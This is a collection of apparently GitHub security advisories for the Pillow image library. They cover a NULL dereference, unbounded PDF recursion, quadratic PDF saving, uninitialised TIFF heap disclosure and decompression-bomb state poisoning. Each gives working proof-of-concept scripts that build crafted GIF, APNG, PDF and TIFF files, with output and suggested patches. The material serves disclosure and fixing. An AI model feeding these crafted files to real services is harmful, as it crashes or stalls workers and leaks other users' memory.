def setupenv(): # Cap the address space so the oversized allocations end in MemoryError # instead of the OOM killer. resource.setrlimit(resource.RLIMITAS, (3 << 30, 3 << 30)) data = bombgif() im = Image.open(io.BytesIO(data)) print(f"open(): {len(data)}-byte GIF, size={im.size}") return im

def poc(im): # An application skips the bomb frame and keeps going. try: im.seek(1) except Image.DecompressionBombError as e: print(f"seek(1) raised as intended: {e}") return True return False

im = setupenv() raised = poc(im)

Expected: a rejected frame leaves the object as it was (size == buffer == 1x1). print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}") poisoned = raised and im.size[0] im.size[1] > LIMIT and im.im.size == (1, 1)

Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its buffers from the poisoned im.size. before = peakrssmib() im.seek(1) try: im.load() outcome = "completed" except MemoryError: outcome = "MemoryError at the 3 GiB cap" after = peakrssmib() print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB") ballooned = after - before > 1000

print("BUG" if poisoned and ballooned else "OK") </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
Null Pointer Dereference
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Image.merge() checks the mode of every input band except band 0. If band 0 is a single-band I or F image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain Image.open() followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.

Details The validation loop skips band 0:

- src/PIL/Image.py:3795 iterates for band in bands[1:] and checks mode and size only for those.

For an I or F image the 8-bit plane image8 is NULL (only image32 is set). ImagingMerge dereferences bands[0]->image8[y] for the multi-band output modes:

- src/libImaging/Bands.c:302, :311, :321

The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:

- src/PIL/IptcImagePlugin.py:156-160 - src/PIL/IptcImagePlugin.py:169 registers the opener with no accept function.

PoC python from PIL import Image

Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0. band0 = Image.new("I", (4, 4)) Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])

Run it: $ python 02poc.py Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96.

Under AddressSanitizer: ==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 #0 ImagingMerge src/libImaging/Bands.c:311 #1 merge src/imaging.c:2492 SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge The null address confirms the dereference of the missing image8 plane for band 0.

Impact NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearizepagetree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. readprevtrailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

Details linearizepagetree recurses on /Kids with no cycle or depth check:

- src/PIL/PdfParser.py:1078-1092

readprevtrailer catches only a repeated offset:

- src/PIL/PdfParser.py:697-720 (the processedoffsets check at :714-718 is the CVE-2026-42310 fix; a unique-offset chain slips past it)

PoC python from PIL import PdfParser

A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b"<< /Type /Catalog /Pages 2 0 R >>", 2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", 3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>", } buf = bytearray(b"%PDF-1.4\n") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n" xref = len(buf) buf += b"xref\n0 4\n0000000000 65535 f \n" buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3)) buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way

Run it: $ python 11poc.py RecursionError: maximum recursion depth exceeded

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.

Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

============================================================================ Quadratic-time DoS in PDF saveall (PdfParser.nextobjectid) Location: src/PIL/PdfParser.py:629 in nextobjectid() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================

Pillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely declares a large frame count triggers the same slowdown with no upper bound short of 2³¹ frames. Memory stays under 100 MB and the decompression-bomb limit never applies.

The cause is PdfParser.nextobjectid() in src/PIL/PdfParser.py, which finds the next free id by computing max(self.xreftable.keys()). XrefTable.keys() rebuilds three sets over every id reserved so far on each call. PdfImagePlugin.save() calls it three times (four for palette images with transparency) per frame, for nframes frames, before any page is written. That makes the id-reservation loop alone O(N²). Because nframes is taken from the file before any frame is seeked, APNG's acTL count drives the loop even when the frames don't exist. In that case the save raises OSError only after the full delay.

The precondition is that the application calls im.save(..., "PDF", saveall=True) on the attacker's file; Image.open() and load() alone do not reach this code. The attached reproducer shows 4× the frames costing about 11× the CPU for a valid GIF and about 16× for a fixed 125-byte APNG. The behaviour was introduced in 6207b44ab1ff (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in XrefTable makes the save linear.

Details

Saving a multi-frame image as a multi-page PDF (im.save(fp, "PDF", saveall=True)) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far.

A 1×1-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not):

| frames | GIF size | im.save(BytesIO(), "PDF", saveall=True) | peak RSS | |---|---|---|---| | 2 000 | 30 KB | 1.1 s | | | 8 000 | 120 KB | 14.7 s | | | 16 000 | 240 KB | 70 s | 60 MB | | 32 000 | 480 KB | 262 s | 95 MB | | 48 000 | 720 KB | still running at 120 s (extrapolated ≈ 10 min) | |

Each doubling of the input roughly quadruples the time. cProfile of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of PdfParser.nextobjectid (8.9 s inside XrefTable.keys, 3.9 s inside max); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly.

The per-page id reservation loop runs before any page is written:

python src/PIL/PdfImagePlugin.py:247-259 (save) for im in ims: imnumberofpages = 1 if saveall: imnumberofpages = getattr(im, "nframes", 1) … for i in range(imnumberofpages): imagerefs.append(existingpdf.nextobjectid(0)) if im.mode == "P" and "transparency" in im.info: imagerefs.append(existingpdf.nextobjectid(0))

pagerefs.append(existingpdf.nextobjectid(0)) contentsrefs.append(existingpdf.nextobjectid(0))

nframes comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on nframes before any frame is seeked, and for APNG nframes is the numframes value declared in the acTL chunk, rejected only if it is 0 or above 0x80000000 (src/PIL/PngImagePlugin.py:716-720). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10–13 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for P images with transparency) calls per frame lands here:

python src/PIL/PdfParser.py:626-634 def nextobjectid(self, offset: int | None = None) -> IndirectReference: try: # TODO: support reuse of deleted objects reference = IndirectReference(max(self.xreftable.keys()) + 1, 0) except ValueError: reference = IndirectReference(1, 0) if offset is not None: self.xreftable[reference.objectid] = (offset, 0) return reference

src/PIL/PdfParser.py:175-178 (XrefTable) def keys(self) -> set[int]: return ( set(self.existingentries.keys()) - set(self.deletedentries.keys()) ) | set(self.newentries.keys())

save passes offset=0, so every reserved id is inserted into xreftable.newentries. The k-th call therefore materialises three sets covering all k−1 previous ids, computes a difference and a union, and then max() scans the result — O(k) work to produce the integer k. Summed over 3N calls this is O(N²): for 48 000 frames, 144 002 calls over sets growing to 144 002 elements, on the order of 10¹⁰ set-element operations, all spent before writeimage is reached for the first frame. Nothing on this path consults MAXIMAGEPIXELS (the frames are 1×1) and nothing raises; for the GIF the save eventually completes and produces a valid PDF, and for the declared-only APNG it raises OSError only once the id loop has finished and the first missing frame is seeked.

This reservation scheme was introduced in 6207b44ab1ff ("issue #2959: support appending to existing PDFs", 2018-01-18) and first shipped in Pillow 5.1.0; before it, the writer numbered objects arithmetically.

For contrast, writeobj(ref, …) with an already-reserved ref (src/PIL/PdfParser.py:548-555) only does a dict store, which is why the page-writing phase that follows is linear; the super-linear cost is entirely in how the next free id is computed.

Impact

The precondition is that the application saves the attacker's image as PDF with saveall=True; Image.open() and load() alone do not reach this code. An application that converts uploaded images to PDF this way — the documented way to get one page per frame from animated GIF/APNG/WebP or multi-page TIFF input — can have a worker held at 100 % CPU for about 10 minutes by a 720 KB GIF, about 4½ minutes by a 480 KB one, with the cost continuing to grow quadratically with upload size. With APNG the file size does not matter at all: a 125-byte file declaring N frames in acTL drives the same quadratic loop, up to the 2³¹ cap. The attacker controls only the file bytes; no unusual dimensions, modes or options are needed, memory use stays under 100 MB so memory limits do not intervene, and the decompression-bomb guard is not applicable. The consequence is denial of service of the process performing the conversion. Single-image PDF saves, and saveall saves of images with tens or hundreds of frames, are unaffected in practice.

This is the same family as earlier accidentally-quadratic parsing issues fixed in Pillow (e.g. CVE-2021-28677, EPS readline), but on the PDF writer side, reached only through a save rather than on open, and driven by frame count rather than by line structure.

Reproducing

repro is a single Python script. Run it with the Python that has Pillow installed (./repro). It uses under 100 MB of RAM and writes no files.

Input. Two kinds of file are built in memory, each with 2 000 and 8 000 frames:

- gif(n): a valid animated GIF — a GIF89a header with a 1×1 logical screen and a 2-colour global palette, then n copies of one 15-byte frame (a 1×1 image descriptor plus the LZW data for one pixel), then the trailer (30 and 120 KB). The only unusual thing about it is how many frames it has. - apng(n): a 125-byte APNG — a 1×1 greyscale IHDR, an acTL chunk declaring n frames, one fcTL, one IDAT and IEND. Only the first frame exists; the other n − 1 are merely declared.

Action. Each file goes through what an upload-to-PDF converter would do: Image.open(BytesIO(data)), then im.save(BytesIO(), "PDF", saveall=True), timed with time.processtime(). For the APNG the save raises OSError once the writer tries to seek to the second frame; that happens after the id-reservation loop has run for all n declared frames, so the exception is caught and the CPU time up to it is recorded.

Expected output (stock build at this commit):

GIF frames= 2000 file= 30020 B save CPU= 1.03s result=ok GIF frames= 8000 file=120020 B save CPU= 11.68s result=ok GIF: 4x frames -> 11.3x CPU (linear ~4x, quadratic ~16x) APNG frames= 2000 file= 125 B save CPU= 0.65s result=OSError(Truncated File Read) APNG frames= 8000 file= 125 B save CPU= 10.48s result=OSError(Truncated File Read) APNG: 4x frames -> 16.1x CPU (linear ~4x, quadratic ~16x) BUG

A linear save would take about 4× as long for 4× the frames; here the GIF save grows ~11× and the APNG save ~16×, the latter with the file size fixed at 125 bytes. The script prints BUG when the save CPU for either format grows at least 8× for 4× the frames (twice the linear expectation), otherwise OK. Extending the same curve gives the figures in the table above: about 70 s at 16 000 frames (240 KB GIF), and about 10 minutes for a 720 KB file.

With the attached patch applied, the GIF save takes 0.32 s / 1.20 s (3.7×) and the APNG save 0.01 s / 0.03 s, and the script prints OK.

Suggested fix

Make nextobjectid() O(1) by tracking the highest object id ever stored in XrefTable instead of rebuilding the key set on every call. The attached patch does this in src/PIL/PdfParser.py:

diff --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ class XrefTable: self.deletedentries = {0: 65536} # object ID => generation self.readingfinished = False + self.maxobjectid = 0 # highest object ID ever stored, deleted or not

def setitem(self, key: int, value: tuple[int, int]) -> None: if self.readingfinished: self.newentries[key] = value else: self.existingentries[key] = value + if key > self.maxobjectid: + self.maxobjectid = key if key in self.deletedentries: del self.deletedentries[key] @@ class PdfParser: def nextobjectid(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xreftable.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xreftable.maxobjectid + 1, 0) if offset is not None: self.xreftable[reference.objectid] = (offset, 0) return reference

existingentries is only ever populated through setitem (from readxreftable / readprevtrailer), so the counter also covers ids read from an existing file in append=True mode. The one behavioural difference: when the highest-numbered existing object has just been deleted (delroot() / rewritepages() in append mode), the current code hands that id out again with generation 0, whereas the patch moves on to the next unused id — the more conservative choice for an xref table, and the one the existing TODO: support reuse of deleted objects comment points at. With the patch applied and Pillow rebuilt, the 16 000-frame save drops from ~70 s to ~2.5 s, fresh PDF output is unchanged, Tests/testfilepdf.py and Tests/testpdfparser.py pass, and the reproducer prints OK.

An alternative limited to the writer would be to reserve the 3 × numberofpages ids in PdfImagePlugin.save() arithmetically from a single nextobjectid() call, but fixing the allocator also covers writeobj(None, …) callers.

The patch does not address a separate, linear issue: PdfImagePlugin.save() still trusts nframes before any frame is decoded, so a tiny file whose format reports a declared-only frame count (APNG acTL up to 2³¹) still makes it loop 3 × nframes times before the first failing seek. Reserving ids per successfully seeked frame, or validating nframes in such plugins, would close that.

The patch

Track the highest object ID in XrefTable so PdfParser.nextobjectid() is O(1) instead of rebuilding and scanning the key set

Applies to src/PIL/PdfParser.py at the commit above.

diff diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..82ebfb867 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -133,12 +133,15 @@ class XrefTable: ) # object ID => (offset, generation) self.deletedentries = {0: 65536} # object ID => generation self.readingfinished = False + self.maxobjectid = 0 # highest object ID ever stored, deleted or not def setitem(self, key: int, value: tuple[int, int]) -> None: if self.readingfinished: self.newentries[key] = value else: self.existingentries[key] = value + if key > self.maxobjectid: + self.maxobjectid = key if key in self.deletedentries: del self.deletedentries[key] @@ -624,11 +627,8 @@ class PdfParser: self.origpages = self.pages[:] def nextobjectid(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xreftable.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xreftable.maxobjectid + 1, 0) if offset is not None: self.xreftable[reference.objectid] = (offset, 0) return reference

The reproducer

<details> <summary>Reproducer — <code>repro</code>, 1,791 bytes (click to open)</summary>

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

python #!/usr/bin/env python3 PDF saveall is O(frames^2): PdfParser.nextobjectid() does max(XrefTable.keys()), and keys() rebuilds sets of every id reserved so far, 3 calls per frame. (a) valid 1x1 animated GIF, 15 bytes/frame; (b) 125-byte APNG whose acTL merely declares N frames - ids are reserved for all N before the first seek fails. import io, struct, time, zlib from PIL import Image

def gif(n): return (b"GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\xff\xff\xff" + b"\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00" n + b"\x3b")

def apng(n): def chunk(t, d): return struct.pack(">I", len(d)) + t + d + struct.pack(">I", zlib.crc32(t + d)) return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", struct.pack(">IIBBBBB", 1, 1, 8, 0, 0, 0, 0)) + chunk(b"acTL", struct.pack(">II", n, 0)) + chunk(b"fcTL", struct.pack(">IIIIIHHBB", 0, 1, 1, 0, 0, 1, 1, 0, 0)) + chunk(b"IDAT", zlib.compress(b"\x00\x00")) + chunk(b"IEND", b""))

def savepdf(data): im = Image.open(io.BytesIO(data)) t = time.processtime() try: im.save(io.BytesIO(), "PDF", saveall=True) res = "ok" except OSError as e: # APNG: frames don't exist, fails after the id loop res = f"OSError({e})" return time.processtime() - t, res

bug = False for name, make in (("GIF", gif), ("APNG", apng)): t = {} for n in (2000, 8000): data = make(n) t[n], res = savepdf(data) print(f"{name:4} frames={n:5} file={len(data):6} B save CPU={t[n]:6.2f}s result={res}") growth = t[8000] / t[2000] print(f"{name}: 4x frames -> {growth:.1f}x CPU (linear ~4x, quadratic ~16x)") if growth >= 8: bug = True print("BUG" if bug else "OK") </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

============================================================================ TiffDecode returns uninitialized memory as pixels for short JPEG strips Location: src/libImaging/TiffDecode.c:554 in decodeStrip() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================

Pillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content.

The bug is in decodeStrip() in src/libImaging/TiffDecode.c, and decodeTile() has the same shape. The function realloc()s state->buffer to TIFFStripSize() bytes without initialising it and calls TIFFReadEncodedStrip(). Whenever that call does not return -1, it copies all RowsPerStrip rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early.

The attached reproducer builds a 256×256 TIFF whose single strip or tile is a 256×8 JPEG. Before loading it, the script frees buffers filled with b"LEAK". It then finds 15,872 copies of LEAK in rows 8–255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's MALLOCPERTURB, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases.

This is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width × RowsPerStrip bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c ("Add reading old-JPEG compressed TIFFs", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0).

Details

src/libImaging/TiffDecode.c decodes compressed TIFFs through libtiff into a strip (or tile) buffer that it realloc()s to TIFFStripSize() bytes and never initialises, and then copies all RowsPerStrip rows of that buffer into the image whenever TIFFReadEncodedStrip() does not return -1. libtiff's JPEG codec does not fail when the JPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist and returns the full strip size. The rows it did not write are whatever the heap held before, and Pillow returns them as pixels.

A 478-byte file shows it: a classic little-endian TIFF, 256×256, BitsPerSample=8, Compression=7, PhotometricInterpretation=1, RowsPerStrip=256, one strip whose data is a baseline JPEG of 256×8 pixels (as written by Image.new("L",(256,8),200).save(…,"JPEG")). Image.open(BytesIO(data)).load() succeeds with default settings (compressed TIFFs always take the libtiff path). Rows 0–7 of the result are the JPEG content (value 200); the remaining 63488 bytes of im.tobytes() are heap garbage: run under glibc's MALLOCPERTURB=1 they are all 0xFE, under MALLOCPERTURB=170 all 0x55 (the fresh-malloc fill byte), and in a process that has just freed buffers containing b"LEAK" they contain 15872 copies of LEAK.

Feeding the same file to libtiff 4.5.0 directly confirms the library side: TIFFReadEncodedStrip(t, 0, buf, 65536) prints JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8., returns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs TIFFSetWarningHandler(NULL) (TiffDecode.c:682), so the warning is not visible either.

The strip path:

c // src/libImaging/TiffDecode.c:552 / realloc to fit whole strip / / malloc check above / newdata = realloc(state->buffer, state->bytes); // state->bytes = TIFFStripSize() … state->buffer = newdata;

for (; state->y < state->ysize; state->y += rowsperstrip) { … if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), (tdatat)state->buffer, stripsize ) == -1) { … return -1; } … // iterate over each row in the strip and stuff data into image for (striprow = 0; striprow < MIN((INT32)rowsperstrip, state->ysize - state->y); striprow++) { … shuffler( (UINT8 )im->image[state->y + state->yoff + striprow] + state->xoff im->pixelsize, state->buffer + striprow rowbytesize, state->xsize );

state->buffer arrives here as the one-row calloc made by decode.c:230 ((bitsxsize+7)/8 = 256 bytes for the example). The realloc to 65536 bytes hands back a different, uninitialised chunk; nothing zeroes it. TIFFReadEncodedStrip() returns the nominal strip size on success, not the number of rows produced, and the only check is == -1, so the row loop unconditionally copies 256 rows × 256 bytes into im->image (which itself is zeroed by core.new, so the garbage provably comes from state->buffer). decodeTile() has the same shape (TiffDecode.c:448 realloc to TIFFTileSize(), then tilelength rows copied after each TIFFReadTile() at 460–488).

For a well-formed file the JPEG inside the strip is 256×256, libtiff fills all 65536 bytes and the copy is correct. The malicious file differs only in the SOF height of the embedded JPEG; libtiff treats "JPEG smaller than strip" as a warning, clamps the row count to the JPEG height, and reports success.

JPEG is not the only libtiff codec that succeeds on a short strip. Fax4Decode (Compression=4) returns success for a T.6 stream that ends early: a 133-byte 512×256 1-bit TIFF whose strip is the Group 4 stream of a 512×16 image loads without error, libtiff writes 17 rows (1088 bytes) of the 16384-byte buffer (Fax4Decode: Warning, Premature EOL at line 16, return value 16384) and the other 15296 bytes are again heap contents. LZW, Deflate, PackBits, Group 3 and CCITT RLE were checked and do return -1 on short data, so Pillow raises OSError for those.

The strip path was introduced in e91b851fdc1c ("Add reading old-JPEG compressed TIFFs", 2018-12-08), first released in Pillow 6.0.0, which replaced row-by-row TIFFReadScanline() (where libtiff errors on the first missing row) with the whole-strip realloc() and copy. The tile path has had the same shape since it was added in f0436a4ddc95 (2018-07-02, Pillow 5.3.0).

Impact

Any application that opens attacker-supplied images with Pillow in the default configuration and returns something derived from the pixels (thumbnail, preview, format conversion, OCR text) discloses freed heap memory of the worker process to the uploader: everything below the rows the embedded JPEG/G4 stream actually encodes, up to ImageWidth × RowsPerStrip × SamplesPerPixel bytes per strip and tens of MB per image within the default MAXIMAGEPIXELS. load() raises nothing, so the application has no signal that the image is malformed. What comes back depends on allocator state; in a long-running web worker it is typically recently freed request bodies, other users' decoded image buffers and Python object contents. There is no memory corruption; this is a read of uninitialised (previously used) heap memory, analogous in effect to an out-of-bounds read that lands in pixels.

Reproducing

repro is a short Python script that runs against the installed Pillow build with default settings: no rebuild, no sanitizer, no files written. It runs twice, once normally and once re-executing itself under glibc's MALLOCPERTURB=170, and the last line it prints is BUG or OK.

Input. tiff(jpegrows, tiled) builds a little-endian TIFF in memory. The header declares a 256×256 8-bit greyscale image with Compression=7 (JPEG), either as one strip (RowsPerStrip=256) or as one 256×256 tile (TileWidth/TileLength). The strip or tile is a baseline JPEG of 256×jpegrows pixels, all value 200, written by Pillow's own JPEG encoder. For each layout the script builds two files:

- Control: jpegrows=256. This is a well-formed file, and libtiff fills the whole 64 KiB strip/tile. - Crafted: jpegrows=8, 478 bytes (strip) or 490 bytes (tile). The only difference is the embedded JPEG's height. libtiff decodes 8 rows (2048 bytes), warns Improper JPEG strip/tile size (Pillow silences the warning) and returns the full strip/tile size as success.

Steps. Each file is opened (the script asserts it takes the libtiff decoder). Just before im.load() the script allocates and frees six 64 KiB bytearrays filled with b"LEAK", which leaves freed heap chunks about the size of the buffer that decodeStrip()/decodeTile() is about to realloc(). For rows 8–255 it then counts copies of LEAK and bytes equal to 0x55 (glibc's fresh-malloc fill under MALLOCPERTURB=170). The files contain no LEAK bytes (the script asserts this), so any copy in the image came from freed heap memory. It reports BUG if a crafted file shows any LEAK in the normal pass, or rows 8–255 entirely 0x55 in the perturbed pass.

Expected output on this tree:

[normal ] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [normal ] strip crafted ( 478 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [normal ] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [normal ] tiled crafted ( 490 B) rows 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK' [perturb] strip well-formed (1222 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [perturb] strip crafted ( 478 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' [perturb] tiled well-formed (1234 B) rows 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8' [perturb] tiled crafted ( 490 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' BUG

im.load() succeeds for every file. For the crafted files rows 8–255 are the uninitialised strip/tile buffer, copied as-is into the image. With the attached patch applied, rows 8–255 of the crafted files come back as \x00 bytes, with no LEAK and no 0x55, and the script ends with OK.

The LEAK count depends on where glibc places the buffer (the same freed chunk was reused in 500 of 500 runs here); the MALLOCPERTURB pass does not. The script covers the JPEG codec only. The Group 4 variant in the Details section (Compression=4, a T.6 stream that ends early) goes through the same decodeStrip() copy, and the same fix covers it.

Suggested fix

The attached patch zeroes state->buffer before each libtiff read in both loops of src/libImaging/TiffDecode.c — before TIFFReadTile() in decodeTile() and before TIFFReadEncodedStrip() in decodeStrip() — so rows a codec does not produce are deterministic zeros rather than stale heap:

diff --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ decodeTile for (x = state->xoff; x < state->xsize; x += tilewidth) { + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdatat)state->buffer, x, y, 0, plane) == -1) { @@ decodeStrip for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip(

A memset per strip/tile (rather than one calloc after the size is known) is needed because the same buffer is reused for every strip, and a short last strip would otherwise expose the previous strip's rows — harmless for disclosure, but the per-read memset keeps the behaviour uniform at the cost of one extra pass over the buffer. Promoting libtiff warnings to errors via a warning handler is not a good alternative: both codecs only warn (Improper JPEG strip/tile size, Premature EOL), but so do many legitimate files (unknown tags, bad tag counts), and the return value of TIFFReadEncodedStrip() carries no row count to check against. Initialising the buffer covers every codec. decodeAsRGBA() needs no change: TIFFRGBAImageGet() fills its whole raster, and JPEG files do not reach it (JPEGCOLORMODERGB sends them down the strip path).

Valid files decode exactly as before; rows a codec does not produce are now black instead of garbage, and nothing that previously loaded now fails. The patch also adds testjpegshortstrip to Tests/testfilelibtiff.py, parametrised over strip and tile, which builds the 256×8-JPEG-in-256×256 file and asserts rows 8–255 are zero. It is a regression guard for the fixed code rather than a reliable detector of the bug: in a fresh pytest process the unfixed strip variant can pass because the new heap chunk happens to be zero (the tiled variant fails before the fix). With the patch, Tests/testfilelibtiff.py and Tests/testfiletiff.py pass and the reproducer prints OK.

The patch

Zero the libtiff strip/tile buffer before each TIFFReadEncodedStrip/TIFFReadTile in TiffDecode.c so short strips do not expose uninitialised heap

Applies to src/libImaging/TiffDecode.c at the commit above.

